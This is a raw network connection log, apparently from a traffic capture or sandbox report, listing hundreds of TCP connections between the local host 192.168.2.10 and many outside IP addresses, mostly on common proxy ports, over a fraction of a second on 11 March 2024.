Mar 11, 2024 16:39:45.566972017 CET	50842	46097	192.168.2.10	162.241.46.40
Mar 11, 2024 16:39:45.566972017 CET	49983	45639	192.168.2.10	103.212.93.241
Mar 11, 2024 16:39:45.566979885 CET	50843	8080	192.168.2.10	112.78.170.250
Mar 11, 2024 16:39:45.566983938 CET	50580	51507	192.168.2.10	135.148.10.161
Mar 11, 2024 16:39:45.567997932 CET	50902	29796	192.168.2.10	54.36.122.16
Mar 11, 2024 16:39:45.568023920 CET	50847	9090	192.168.2.10	38.10.69.109
Mar 11, 2024 16:39:45.568023920 CET	49984	16379	192.168.2.10	163.172.171.22
Mar 11, 2024 16:39:45.568033934 CET	50856	8080	192.168.2.10	177.128.212.190
Mar 11, 2024 16:39:45.568034887 CET	50846	84	192.168.2.10	103.255.145.62
Mar 11, 2024 16:39:45.568037033 CET	50851	60775	192.168.2.10	51.89.173.40
Mar 11, 2024 16:39:45.568037987 CET	50859	1080	192.168.2.10	167.249.254.70
Mar 11, 2024 16:39:45.568034887 CET	49780	50605	192.168.2.10	51.81.89.146
Mar 11, 2024 16:39:45.568141937 CET	3128	50592	120.24.52.179	192.168.2.10
Mar 11, 2024 16:39:45.568155050 CET	46919	50756	51.15.16.96	192.168.2.10
Mar 11, 2024 16:39:45.568556070 CET	18003	51314	67.43.228.250	192.168.2.10
Mar 11, 2024 16:39:45.568998098 CET	51414	80	192.168.2.10	50.174.216.110
Mar 11, 2024 16:39:45.569035053 CET	4145	50989	199.102.104.70	192.168.2.10
Mar 11, 2024 16:39:45.569102049 CET	50989	4145	192.168.2.10	199.102.104.70
Mar 11, 2024 16:39:45.569612980 CET	53777	50445	104.238.111.107	192.168.2.10
Mar 11, 2024 16:39:45.570337057 CET	51415	51718	192.168.2.10	51.222.241.157
Mar 11, 2024 16:39:45.570899010 CET	51416	80	192.168.2.10	50.175.212.66
Mar 11, 2024 16:39:45.571913004 CET	51417	11201	192.168.2.10	38.41.27.150
Mar 11, 2024 16:39:45.573215008 CET	20001	50931	67.43.236.20	192.168.2.10
Mar 11, 2024 16:39:45.574033022 CET	80	50956	50.168.72.116	192.168.2.10
Mar 11, 2024 16:39:45.575100899 CET	4145	51186	184.170.249.65	192.168.2.10
Mar 11, 2024 16:39:45.575112104 CET	4145	51186	184.170.249.65	192.168.2.10
Mar 11, 2024 16:39:45.575123072 CET	4145	50202	199.102.107.145	192.168.2.10
Mar 11, 2024 16:39:45.575534105 CET	64523	50737	46.105.44.29	192.168.2.10
Mar 11, 2024 16:39:45.576396942 CET	50564	51365	164.92.86.113	192.168.2.10
Mar 11, 2024 16:39:45.576491117 CET	51365	50564	192.168.2.10	164.92.86.113
Mar 11, 2024 16:39:45.578325987 CET	14921	50136	192.252.211.197	192.168.2.10
Mar 11, 2024 16:39:45.578929901 CET	5430	51268	202.179.184.44	192.168.2.10
Mar 11, 2024 16:39:45.579045057 CET	51268	5430	192.168.2.10	202.179.184.44
Mar 11, 2024 16:39:45.580859900 CET	64768	49894	173.212.250.16	192.168.2.10
Mar 11, 2024 16:39:45.581958055 CET	80	51098	198.44.255.3	192.168.2.10
Mar 11, 2024 16:39:45.581969023 CET	80	51098	198.44.255.3	192.168.2.10
Mar 11, 2024 16:39:45.582087040 CET	51098	80	192.168.2.10	198.44.255.3
Mar 11, 2024 16:39:45.582566023 CET	49966	8888	192.168.2.10	51.15.242.202
Mar 11, 2024 16:39:45.582578897 CET	50860	8080	192.168.2.10	188.132.222.167
Mar 11, 2024 16:39:45.582580090 CET	50097	31979	192.168.2.10	51.77.65.164
Mar 11, 2024 16:39:45.582581997 CET	50855	999	192.168.2.10	38.156.233.77
Mar 11, 2024 16:39:45.582581997 CET	50862	3128	192.168.2.10	5.189.158.162
Mar 11, 2024 16:39:45.582581997 CET	49784	31033	192.168.2.10	67.43.228.253
Mar 11, 2024 16:39:45.582592010 CET	50483	80	192.168.2.10	3.127.62.252
Mar 11, 2024 16:39:45.582592010 CET	50873	58851	192.168.2.10	85.25.177.53
Mar 11, 2024 16:39:45.582595110 CET	50872	8080	192.168.2.10	159.192.138.170
Mar 11, 2024 16:39:45.582597017 CET	50858	8080	192.168.2.10	125.209.88.46
Mar 11, 2024 16:39:45.582597017 CET	50868	22500	192.168.2.10	51.79.87.144
Mar 11, 2024 16:39:45.582600117 CET	50854	21355	192.168.2.10	67.213.212.36
Mar 11, 2024 16:39:45.582601070 CET	50892	34599	192.168.2.10	183.88.231.188
Mar 11, 2024 16:39:45.582602024 CET	50876	8085	192.168.2.10	103.105.55.170
Mar 11, 2024 16:39:45.582617044 CET	50878	9000	192.168.2.10	122.116.150.2
Mar 11, 2024 16:39:45.582619905 CET	50880	64742	192.168.2.10	72.167.221.157
Mar 11, 2024 16:39:45.582633972 CET	50890	999	192.168.2.10	45.191.75.186
Mar 11, 2024 16:39:45.582636118 CET	50884	8080	192.168.2.10	103.214.219.23
Mar 11, 2024 16:39:45.582667112 CET	50894	8080	192.168.2.10	185.169.183.200
Mar 11, 2024 16:39:45.584043980 CET	51418	444	192.168.2.10	8.213.128.90
Mar 11, 2024 16:39:45.585484982 CET	49822	3128	192.168.2.10	15.236.106.236
Mar 11, 2024 16:39:45.586292982 CET	49981	8118	192.168.2.10	182.140.244.163
Mar 11, 2024 16:39:45.586718082 CET	51419	8118	192.168.2.10	182.140.244.163
Mar 11, 2024 16:39:45.587061882 CET	51278	8080	192.168.2.10	38.159.232.6
Mar 11, 2024 16:39:45.587166071 CET	51420	47935	192.168.2.10	104.36.166.34
Mar 11, 2024 16:39:45.587173939 CET	51421	4145	192.168.2.10	68.1.210.163
Mar 11, 2024 16:39:45.587323904 CET	4145	51349	184.170.248.5	192.168.2.10
Mar 11, 2024 16:39:45.587440014 CET	51321	80	192.168.2.10	5.78.65.91
Mar 11, 2024 16:39:45.587515116 CET	51212	8080	192.168.2.10	103.190.54.141
Mar 11, 2024 16:39:45.587631941 CET	51351	80	192.168.2.10	104.20.89.77
Mar 11, 2024 16:39:45.587822914 CET	50158	9990	192.168.2.10	117.160.250.163
Mar 11, 2024 16:39:45.588238001 CET	51258	9090	192.168.2.10	91.241.217.58
Mar 11, 2024 16:39:45.588246107 CET	51422	4145	192.168.2.10	24.249.199.4
Mar 11, 2024 16:39:45.588474989 CET	50429	5020	192.168.2.10	176.192.65.34
Mar 11, 2024 16:39:45.588622093 CET	50580	51507	192.168.2.10	135.148.10.161
Mar 11, 2024 16:39:45.588700056 CET	50989	4145	192.168.2.10	199.102.104.70
Mar 11, 2024 16:39:45.588771105 CET	4145	51015	142.54.231.38	192.168.2.10
Mar 11, 2024 16:39:45.589586020 CET	51268	5430	192.168.2.10	202.179.184.44
Mar 11, 2024 16:39:45.589591026 CET	51365	50564	192.168.2.10	164.92.86.113
Mar 11, 2024 16:39:45.589687109 CET	4145	50224	199.102.106.94	192.168.2.10
Mar 11, 2024 16:39:45.589723110 CET	51098	80	192.168.2.10	198.44.255.3
Mar 11, 2024 16:39:45.590162992 CET	51423	80	192.168.2.10	198.44.255.3
Mar 11, 2024 16:39:45.591871977 CET	80	51210	104.21.85.200	192.168.2.10
Mar 11, 2024 16:39:45.592470884 CET	9002	50508	120.197.40.219	192.168.2.10
Mar 11, 2024 16:39:45.592767000 CET	50335	80	192.168.2.10	54.152.3.36
Mar 11, 2024 16:39:45.593482971 CET	4145	50994	199.229.254.129	192.168.2.10
Mar 11, 2024 16:39:45.595602036 CET	5432	51249	31.204.28.96	192.168.2.10
Mar 11, 2024 16:39:45.595644951 CET	5432	51249	31.204.28.96	192.168.2.10
Mar 11, 2024 16:39:45.595655918 CET	5432	51249	31.204.28.96	192.168.2.10
Mar 11, 2024 16:39:45.595791101 CET	51249	5432	192.168.2.10	31.204.28.96
Mar 11, 2024 16:39:45.595869064 CET	41442	51357	162.241.46.6	192.168.2.10
Mar 11, 2024 16:39:45.595889091 CET	51249	5432	192.168.2.10	31.204.28.96
Mar 11, 2024 16:39:45.595902920 CET	80	51120	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:45.595927000 CET	51357	41442	192.168.2.10	162.241.46.6
Mar 11, 2024 16:39:45.595999002 CET	80	51120	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:45.596040010 CET	80	51120	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:45.596097946 CET	51120	80	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:45.596483946 CET	80	49975	50.172.75.125	192.168.2.10
Mar 11, 2024 16:39:45.597214937 CET	51120	80	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:45.597547054 CET	51357	41442	192.168.2.10	162.241.46.6
Mar 11, 2024 16:39:45.598180056 CET	50961	7237	192.168.2.10	195.248.243.149
Mar 11, 2024 16:39:45.598197937 CET	50367	8080	192.168.2.10	5.78.89.192
Mar 11, 2024 16:39:45.598197937 CET	50863	80	192.168.2.10	174.126.217.110
Mar 11, 2024 16:39:45.598200083 CET	50865	80	192.168.2.10	89.36.114.38
Mar 11, 2024 16:39:45.598223925 CET	49787	32221	192.168.2.10	67.43.228.254
Mar 11, 2024 16:39:45.598225117 CET	49732	8089	192.168.2.10	117.70.49.235
Mar 11, 2024 16:39:45.598225117 CET	50888	16795	192.168.2.10	162.144.121.232
Mar 11, 2024 16:39:45.598232985 CET	50866	998	192.168.2.10	181.78.85.45
Mar 11, 2024 16:39:45.598232985 CET	50874	9191	192.168.2.10	51.83.184.241
Mar 11, 2024 16:39:45.598232985 CET	50881	8180	192.168.2.10	194.213.208.226
Mar 11, 2024 16:39:45.598232985 CET	49982	1080	192.168.2.10	202.142.167.210
Mar 11, 2024 16:39:45.598242998 CET	50886	48678	192.168.2.10	180.131.242.221
Mar 11, 2024 16:39:45.598244905 CET	50133	55066	192.168.2.10	167.86.115.103
Mar 11, 2024 16:39:45.598244905 CET	50901	14462	192.168.2.10	185.129.250.183
Mar 11, 2024 16:39:45.598246098 CET	50908	999	192.168.2.10	198.52.241.13
Mar 11, 2024 16:39:45.598246098 CET	50897	999	192.168.2.10	138.121.15.229
Mar 11, 2024 16:39:45.598247051 CET	50889	999	192.168.2.10	179.43.94.238
Mar 11, 2024 16:39:45.598247051 CET	50898	3128	192.168.2.10	178.128.172.154
Mar 11, 2024 16:39:45.598248005 CET	50895	33383	192.168.2.10	128.199.221.91
Mar 11, 2024 16:39:45.598247051 CET	50919	3230	192.168.2.10	104.238.111.107
Mar 11, 2024 16:39:45.598247051 CET	50900	33192	192.168.2.10	217.21.148.50
Mar 11, 2024 16:39:45.598252058 CET	50058	5678	192.168.2.10	202.165.47.49
Mar 11, 2024 16:39:45.598257065 CET	50926	999	192.168.2.10	181.78.19.249
Mar 11, 2024 16:39:45.598259926 CET	50896	16844	192.168.2.10	147.124.212.31
Mar 11, 2024 16:39:45.598259926 CET	50928	8080	192.168.2.10	103.75.96.70
Mar 11, 2024 16:39:45.598261118 CET	50915	8080	192.168.2.10	103.125.240.237
Mar 11, 2024 16:39:45.598262072 CET	50923	1080	192.168.2.10	41.223.108.13
Mar 11, 2024 16:39:45.598262072 CET	50930	57495	192.168.2.10	162.241.53.72
Mar 11, 2024 16:39:45.598263979 CET	50925	7777	192.168.2.10	18.195.164.53
Mar 11, 2024 16:39:45.598263979 CET	50913	999	192.168.2.10	200.24.130.138
Mar 11, 2024 16:39:45.598278046 CET	50922	4145	192.168.2.10	45.126.169.137
Mar 11, 2024 16:39:45.598294973 CET	50936	36129	192.168.2.10	162.214.225.223
Mar 11, 2024 16:39:45.598295927 CET	50934	8080	192.168.2.10	78.142.234.35
Mar 11, 2024 16:39:45.598319054 CET	12334	51226	194.4.50.61	192.168.2.10
Mar 11, 2024 16:39:45.598331928 CET	12334	51226	194.4.50.61	192.168.2.10
Mar 11, 2024 16:39:45.598398924 CET	51226	12334	192.168.2.10	194.4.50.61
Mar 11, 2024 16:39:45.598889112 CET	51424	12334	192.168.2.10	194.4.50.61
Mar 11, 2024 16:39:45.598912001 CET	51226	12334	192.168.2.10	194.4.50.61
Mar 11, 2024 16:39:45.599301100 CET	4145	51312	184.181.217.210	192.168.2.10
Mar 11, 2024 16:39:45.599478006 CET	80	51373	104.27.66.31	192.168.2.10
Mar 11, 2024 16:39:45.599493027 CET	8080	51085	91.148.127.162	192.168.2.10
Mar 11, 2024 16:39:45.599561930 CET	51312	4145	192.168.2.10	184.181.217.210
Mar 11, 2024 16:39:45.599610090 CET	51373	80	192.168.2.10	104.27.66.31
Mar 11, 2024 16:39:45.599803925 CET	51312	4145	192.168.2.10	184.181.217.210
Mar 11, 2024 16:39:45.599816084 CET	51373	80	192.168.2.10	104.27.66.31
Mar 11, 2024 16:39:45.599998951 CET	3128	51342	3.21.101.158	192.168.2.10
Mar 11, 2024 16:39:45.600087881 CET	80	50912	47.93.121.200	192.168.2.10
Mar 11, 2024 16:39:45.600174904 CET	51342	3128	192.168.2.10	3.21.101.158
Mar 11, 2024 16:39:45.600327969 CET	51342	3128	192.168.2.10	3.21.101.158
Mar 11, 2024 16:39:45.601330042 CET	80	50912	47.93.121.200	192.168.2.10
Mar 11, 2024 16:39:45.601747036 CET	80	50912	47.93.121.200	192.168.2.10
Mar 11, 2024 16:39:45.602045059 CET	51425	8080	192.168.2.10	143.44.191.108
Mar 11, 2024 16:39:45.602966070 CET	8000	50979	198.199.83.206	192.168.2.10
Mar 11, 2024 16:39:45.604176044 CET	51426	31724	192.168.2.10	51.89.173.40
Mar 11, 2024 16:39:45.605158091 CET	80	50523	188.166.56.246	192.168.2.10
Mar 11, 2024 16:39:45.605240107 CET	50523	80	192.168.2.10	188.166.56.246
Mar 11, 2024 16:39:45.605626106 CET	50523	80	192.168.2.10	188.166.56.246
Mar 11, 2024 16:39:45.605926037 CET	8080	51085	91.148.127.162	192.168.2.10
Mar 11, 2024 16:39:45.606106043 CET	4145	51187	72.210.221.197	192.168.2.10
Mar 11, 2024 16:39:45.606657028 CET	4145	51187	72.210.221.197	192.168.2.10
Mar 11, 2024 16:39:45.606724977 CET	51427	8080	192.168.2.10	91.148.127.162
Mar 11, 2024 16:39:45.607420921 CET	80	51377	172.67.182.77	192.168.2.10
Mar 11, 2024 16:39:45.607455015 CET	51428	4145	192.168.2.10	72.210.221.197
Mar 11, 2024 16:39:45.607525110 CET	51377	80	192.168.2.10	172.67.182.77
Mar 11, 2024 16:39:45.607615948 CET	51377	80	192.168.2.10	172.67.182.77
Mar 11, 2024 16:39:45.608575106 CET	51429	1080	192.168.2.10	13.234.24.116
Mar 11, 2024 16:39:45.610146999 CET	80	50766	50.170.90.34	192.168.2.10
Mar 11, 2024 16:39:45.612416029 CET	51430	80	192.168.2.10	104.16.105.146
Mar 11, 2024 16:39:45.613198996 CET	51432	8080	192.168.2.10	120.77.148.138
Mar 11, 2024 16:39:45.613200903 CET	51431	4145	192.168.2.10	45.70.206.42
Mar 11, 2024 16:39:45.613801956 CET	50903	64309	192.168.2.10	173.212.209.49
Mar 11, 2024 16:39:45.613801956 CET	50909	4153	192.168.2.10	82.147.153.6
Mar 11, 2024 16:39:45.613801956 CET	50907	8080	192.168.2.10	103.76.148.161
Mar 11, 2024 16:39:45.613816977 CET	50924	8080	192.168.2.10	201.20.94.93
Mar 11, 2024 16:39:45.613820076 CET	50905	57144	192.168.2.10	49.12.126.53
Mar 11, 2024 16:39:45.613820076 CET	50914	26777	192.168.2.10	185.129.250.183
Mar 11, 2024 16:39:45.613822937 CET	50910	12542	192.168.2.10	37.53.90.82
Mar 11, 2024 16:39:45.613830090 CET	50162	80	192.168.2.10	50.170.90.28
Mar 11, 2024 16:39:45.613833904 CET	50920	32930	192.168.2.10	213.136.79.177
Mar 11, 2024 16:39:45.613833904 CET	50929	8080	192.168.2.10	103.49.114.195
Mar 11, 2024 16:39:45.613838911 CET	50916	30770	192.168.2.10	108.181.132.116
Mar 11, 2024 16:39:45.613838911 CET	50374	60200	192.168.2.10	162.241.137.197
Mar 11, 2024 16:39:45.613881111 CET	50245	5678	192.168.2.10	191.97.2.198
Mar 11, 2024 16:39:45.613881111 CET	50933	20317	192.168.2.10	132.148.128.88
Mar 11, 2024 16:39:45.613881111 CET	51092	80	192.168.2.10	50.200.12.82
Mar 11, 2024 16:39:45.613934994 CET	50937	8080	192.168.2.10	203.189.150.48
Mar 11, 2024 16:39:45.613935947 CET	49871	4444	192.168.2.10	193.143.1.201
Mar 11, 2024 16:39:45.614949942 CET	51433	80	192.168.2.10	49.249.155.3
Mar 11, 2024 16:39:45.615214109 CET	50951	9012	192.168.2.10	103.148.192.82
Mar 11, 2024 16:39:45.615216970 CET	50953	8080	192.168.2.10	103.227.186.13
Mar 11, 2024 16:39:45.615247965 CET	50959	3128	192.168.2.10	161.34.67.83
Mar 11, 2024 16:39:45.615777016 CET	3128	49909	194.182.187.78	192.168.2.10
Mar 11, 2024 16:39:45.615912914 CET	18080	51287	60.188.102.225	192.168.2.10
Mar 11, 2024 16:39:45.616070032 CET	51287	18080	192.168.2.10	60.188.102.225
Mar 11, 2024 16:39:45.616278887 CET	51287	18080	192.168.2.10	60.188.102.225
Mar 11, 2024 16:39:45.616357088 CET	8888	51165	203.74.125.18	192.168.2.10
Mar 11, 2024 16:39:45.616527081 CET	50204	3128	192.168.2.10	13.208.168.179
Mar 11, 2024 16:39:45.616595984 CET	8888	51165	203.74.125.18	192.168.2.10
Mar 11, 2024 16:39:45.617058039 CET	51434	8888	192.168.2.10	203.74.125.18
Mar 11, 2024 16:39:45.618180037 CET	51436	4153	192.168.2.10	200.70.34.22
Mar 11, 2024 16:39:45.618232012 CET	51435	10800	192.168.2.10	175.29.174.242
Mar 11, 2024 16:39:45.620335102 CET	51437	80	192.168.2.10	104.18.237.128
Mar 11, 2024 16:39:45.620373964 CET	7853	50100	67.43.228.253	192.168.2.10
Mar 11, 2024 16:39:45.621150017 CET	51438	10010	192.168.2.10	147.75.92.251
Mar 11, 2024 16:39:45.621328115 CET	80	51292	104.16.105.198	192.168.2.10
Mar 11, 2024 16:39:45.621495962 CET	80	51292	104.16.105.198	192.168.2.10
Mar 11, 2024 16:39:45.621923923 CET	51292	80	192.168.2.10	104.16.105.198
Mar 11, 2024 16:39:45.621964931 CET	80	51292	104.16.105.198	192.168.2.10
Mar 11, 2024 16:39:45.622082949 CET	51292	80	192.168.2.10	104.16.105.198
Mar 11, 2024 16:39:45.622296095 CET	1080	50671	195.98.93.234	192.168.2.10
Mar 11, 2024 16:39:45.622469902 CET	51439	61818	192.168.2.10	159.223.71.71
Mar 11, 2024 16:39:45.624475956 CET	51440	80	192.168.2.10	104.16.105.207
Mar 11, 2024 16:39:45.625447035 CET	18080	50977	60.188.102.225	192.168.2.10
Mar 11, 2024 16:39:45.625539064 CET	51441	80	192.168.2.10	46.101.160.223
Mar 11, 2024 16:39:45.626800060 CET	51442	3503	192.168.2.10	23.225.72.125
Mar 11, 2024 16:39:45.627712011 CET	51443	3128	192.168.2.10	95.56.254.139
Mar 11, 2024 16:39:45.629192114 CET	51444	3128	192.168.2.10	155.50.215.37
Mar 11, 2024 16:39:45.629434109 CET	50938	8123	192.168.2.10	119.81.189.194
Mar 11, 2024 16:39:45.629453897 CET	50940	5040	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:45.629453897 CET	50943	5566	192.168.2.10	111.221.3.86
Mar 11, 2024 16:39:45.629456043 CET	50946	21049	192.168.2.10	128.199.196.31
Mar 11, 2024 16:39:45.629456043 CET	50955	58714	192.168.2.10	185.18.198.163
Mar 11, 2024 16:39:45.629456997 CET	50944	8080	192.168.2.10	85.113.55.123
Mar 11, 2024 16:39:45.629457951 CET	50947	4444	192.168.2.10	128.199.116.34
Mar 11, 2024 16:39:45.629458904 CET	50433	4145	192.168.2.10	199.58.185.9
Mar 11, 2024 16:39:45.629463911 CET	50954	48963	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:45.629463911 CET	50966	999	192.168.2.10	168.194.171.16
Mar 11, 2024 16:39:45.629472017 CET	50942	80	192.168.2.10	83.142.161.30
Mar 11, 2024 16:39:45.629472017 CET	50972	80	192.168.2.10	164.132.170.100
Mar 11, 2024 16:39:45.629476070 CET	50962	49145	192.168.2.10	161.97.173.78
Mar 11, 2024 16:39:45.629477024 CET	50967	4145	192.168.2.10	103.86.1.2
Mar 11, 2024 16:39:45.629477024 CET	50941	83	192.168.2.10	103.47.175.161
Mar 11, 2024 16:39:45.629502058 CET	50950	53281	192.168.2.10	179.60.240.69
Mar 11, 2024 16:39:45.629502058 CET	50971	4673	192.168.2.10	62.201.212.198
Mar 11, 2024 16:39:45.629503012 CET	50206	42331	192.168.2.10	206.189.9.30
Mar 11, 2024 16:39:45.629511118 CET	50976	58842	192.168.2.10	148.72.206.84
Mar 11, 2024 16:39:45.629511118 CET	49956	80	192.168.2.10	218.255.187.60
Mar 11, 2024 16:39:45.629511118 CET	50974	33333	192.168.2.10	190.53.45.222
Mar 11, 2024 16:39:45.629528999 CET	50975	16379	192.168.2.10	51.158.98.197
Mar 11, 2024 16:39:45.629539013 CET	50978	23313	192.168.2.10	51.89.173.40
Mar 11, 2024 16:39:45.629949093 CET	3128	50495	107.155.65.11	192.168.2.10
Mar 11, 2024 16:39:45.630089998 CET	50495	3128	192.168.2.10	107.155.65.11
Mar 11, 2024 16:39:45.630381107 CET	50495	3128	192.168.2.10	107.155.65.11
Mar 11, 2024 16:39:45.630933046 CET	51445	3128	192.168.2.10	202.55.134.227
Mar 11, 2024 16:39:45.631784916 CET	36363	50990	51.222.241.157	192.168.2.10
Mar 11, 2024 16:39:45.632802963 CET	51446	8080	192.168.2.10	102.68.129.54
Mar 11, 2024 16:39:45.633524895 CET	80	50838	50.174.145.14	192.168.2.10
Mar 11, 2024 16:39:45.633553028 CET	58703	50997	67.213.210.118	192.168.2.10
Mar 11, 2024 16:39:45.634243965 CET	51447	5678	192.168.2.10	103.165.175.71
Mar 11, 2024 16:39:45.634499073 CET	80	50918	39.108.227.108	192.168.2.10
Mar 11, 2024 16:39:45.635360003 CET	31147	51370	209.121.164.50	192.168.2.10
Mar 11, 2024 16:39:45.636059046 CET	15673	51366	198.23.229.203	192.168.2.10
Mar 11, 2024 16:39:45.636140108 CET	51366	15673	192.168.2.10	198.23.229.203
Mar 11, 2024 16:39:45.636166096 CET	24279	50118	67.43.228.251	192.168.2.10
Mar 11, 2024 16:39:45.636418104 CET	51366	15673	192.168.2.10	198.23.229.203
Mar 11, 2024 16:39:45.636466980 CET	17893	50106	72.10.160.90	192.168.2.10
Mar 11, 2024 16:39:45.637353897 CET	51448	39522	192.168.2.10	173.212.209.49
Mar 11, 2024 16:39:45.639353037 CET	51450	32650	192.168.2.10	82.218.176.25
Mar 11, 2024 16:39:45.640000105 CET	80	51238	172.64.152.98	192.168.2.10
Mar 11, 2024 16:39:45.640620947 CET	51451	4145	192.168.2.10	98.181.137.83
Mar 11, 2024 16:39:45.641000986 CET	1080	51093	202.162.219.10	192.168.2.10
Mar 11, 2024 16:39:45.641011953 CET	1080	51093	202.162.219.10	192.168.2.10
Mar 11, 2024 16:39:45.641058922 CET	51093	1080	192.168.2.10	202.162.219.10
Mar 11, 2024 16:39:45.641227007 CET	51093	1080	192.168.2.10	202.162.219.10
Mar 11, 2024 16:39:45.641278982 CET	15673	51136	43.131.245.216	192.168.2.10
Mar 11, 2024 16:39:45.641673088 CET	80	51298	106.14.255.124	192.168.2.10
Mar 11, 2024 16:39:45.642066956 CET	51298	80	192.168.2.10	106.14.255.124
Mar 11, 2024 16:39:45.642152071 CET	51298	80	192.168.2.10	106.14.255.124
Mar 11, 2024 16:39:45.642283916 CET	8081	50981	185.49.31.207	192.168.2.10
Mar 11, 2024 16:39:45.642510891 CET	8081	50981	185.49.31.207	192.168.2.10
Mar 11, 2024 16:39:45.642734051 CET	51452	1080	192.168.2.10	202.162.219.10
Mar 11, 2024 16:39:45.643872023 CET	51454	4145	192.168.2.10	45.112.125.55
Mar 11, 2024 16:39:45.644633055 CET	80	51305	172.67.181.147	192.168.2.10
Mar 11, 2024 16:39:45.644794941 CET	80	51305	172.67.181.147	192.168.2.10
Mar 11, 2024 16:39:45.645059109 CET	50767	8080	192.168.2.10	45.150.25.132
Mar 11, 2024 16:39:45.645059109 CET	50963	4153	192.168.2.10	183.89.9.20
Mar 11, 2024 16:39:45.645061016 CET	50964	8888	192.168.2.10	20.33.5.27
Mar 11, 2024 16:39:45.645070076 CET	80	51305	172.67.181.147	192.168.2.10
Mar 11, 2024 16:39:45.645072937 CET	49962	55109	192.168.2.10	161.97.163.52
Mar 11, 2024 16:39:45.645073891 CET	50970	8080	192.168.2.10	192.144.30.200
Mar 11, 2024 16:39:45.645080090 CET	50965	21898	192.168.2.10	159.223.166.21
Mar 11, 2024 16:39:45.645082951 CET	50228	5096	192.168.2.10	165.154.227.154
Mar 11, 2024 16:39:45.645090103 CET	50973	3128	192.168.2.10	176.113.73.102
Mar 11, 2024 16:39:45.645133972 CET	51305	80	192.168.2.10	172.67.181.147
Mar 11, 2024 16:39:45.645536900 CET	51305	80	192.168.2.10	172.67.181.147
Mar 11, 2024 16:39:45.645797014 CET	8081	51294	185.49.31.207	192.168.2.10
Mar 11, 2024 16:39:45.645859003 CET	51294	8081	192.168.2.10	185.49.31.207
Mar 11, 2024 16:39:45.646045923 CET	15673	51136	43.131.245.216	192.168.2.10
Mar 11, 2024 16:39:45.646210909 CET	51294	8081	192.168.2.10	185.49.31.207
Mar 11, 2024 16:39:45.646622896 CET	51455	15673	192.168.2.10	43.131.245.216
Mar 11, 2024 16:39:45.646681070 CET	59623	50779	62.182.114.164	192.168.2.10
Mar 11, 2024 16:39:45.646823883 CET	51453	61524	192.168.2.10	147.139.133.15
Mar 11, 2024 16:39:45.647475004 CET	51456	4153	192.168.2.10	36.66.36.252
Mar 11, 2024 16:39:45.647763968 CET	8123	51340	20.210.113.32	192.168.2.10
Mar 11, 2024 16:39:45.647778034 CET	41274	50171	162.241.158.204	192.168.2.10
Mar 11, 2024 16:39:45.648154974 CET	80	51310	104.17.132.79	192.168.2.10
Mar 11, 2024 16:39:45.648166895 CET	80	51310	104.17.132.79	192.168.2.10
Mar 11, 2024 16:39:45.648349047 CET	51310	80	192.168.2.10	104.17.132.79
Mar 11, 2024 16:39:45.649125099 CET	80	51310	104.17.132.79	192.168.2.10
Mar 11, 2024 16:39:45.649358988 CET	51310	80	192.168.2.10	104.17.132.79
Mar 11, 2024 16:39:45.649660110 CET	51457	8080	192.168.2.10	134.35.179.81
Mar 11, 2024 16:39:45.649869919 CET	80	51400	104.18.136.28	192.168.2.10
Mar 11, 2024 16:39:45.649961948 CET	51400	80	192.168.2.10	104.18.136.28
Mar 11, 2024 16:39:45.650296926 CET	51400	80	192.168.2.10	104.18.136.28
Mar 11, 2024 16:39:45.650681019 CET	7777	50093	218.6.120.111	192.168.2.10
Mar 11, 2024 16:39:45.650747061 CET	50093	7777	192.168.2.10	218.6.120.111
Mar 11, 2024 16:39:45.651124001 CET	51458	34824	192.168.2.10	92.204.135.37
Mar 11, 2024 16:39:45.651683092 CET	1431	50125	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:45.651727915 CET	80	51324	46.35.9.110	192.168.2.10
Mar 11, 2024 16:39:45.651830912 CET	51324	80	192.168.2.10	46.35.9.110
Mar 11, 2024 16:39:45.651936054 CET	51324	80	192.168.2.10	46.35.9.110
Mar 11, 2024 16:39:45.652841091 CET	51459	14325	192.168.2.10	67.43.236.22
Mar 11, 2024 16:39:45.652841091 CET	49878	3128	192.168.2.10	18.134.236.231
Mar 11, 2024 16:39:45.653562069 CET	1080	51135	27.0.234.206	192.168.2.10
Mar 11, 2024 16:39:45.653578043 CET	1080	51135	27.0.234.206	192.168.2.10
Mar 11, 2024 16:39:45.653724909 CET	51135	1080	192.168.2.10	27.0.234.206
Mar 11, 2024 16:39:45.653779030 CET	51135	1080	192.168.2.10	27.0.234.206
Mar 11, 2024 16:39:45.654371977 CET	8888	50255	3.25.234.175	192.168.2.10
Mar 11, 2024 16:39:45.654577971 CET	51460	1080	192.168.2.10	27.0.234.206
Mar 11, 2024 16:39:45.654829979 CET	51461	4145	192.168.2.10	184.181.217.220
Mar 11, 2024 16:39:45.655715942 CET	80	51180	121.159.146.251	192.168.2.10
Mar 11, 2024 16:39:45.655761957 CET	80	51180	121.159.146.251	192.168.2.10
Mar 11, 2024 16:39:45.655796051 CET	80	51180	121.159.146.251	192.168.2.10
Mar 11, 2024 16:39:45.655864000 CET	51180	80	192.168.2.10	121.159.146.251
Mar 11, 2024 16:39:45.656131029 CET	80	51330	185.212.60.62	192.168.2.10
Mar 11, 2024 16:39:45.656538963 CET	51180	80	192.168.2.10	121.159.146.251
Mar 11, 2024 16:39:45.657346964 CET	16379	50633	51.15.234.222	192.168.2.10
Mar 11, 2024 16:39:45.657463074 CET	50633	16379	192.168.2.10	51.15.234.222
Mar 11, 2024 16:39:45.657630920 CET	50633	16379	192.168.2.10	51.15.234.222
Mar 11, 2024 16:39:45.657779932 CET	51462	1111	192.168.2.10	103.165.155.238
Mar 11, 2024 16:39:45.657882929 CET	80	49946	50.170.90.24	192.168.2.10
Mar 11, 2024 16:39:45.658097029 CET	8888	51156	95.164.89.123	192.168.2.10
Mar 11, 2024 16:39:45.658210039 CET	8888	51156	95.164.89.123	192.168.2.10
Mar 11, 2024 16:39:45.658222914 CET	80	51318	104.16.106.234	192.168.2.10
Mar 11, 2024 16:39:45.658304930 CET	80	51318	104.16.106.234	192.168.2.10
Mar 11, 2024 16:39:45.658546925 CET	80	51318	104.16.106.234	192.168.2.10
Mar 11, 2024 16:39:45.658802032 CET	51318	80	192.168.2.10	104.16.106.234
Mar 11, 2024 16:39:45.659001112 CET	51463	8888	192.168.2.10	95.164.89.123
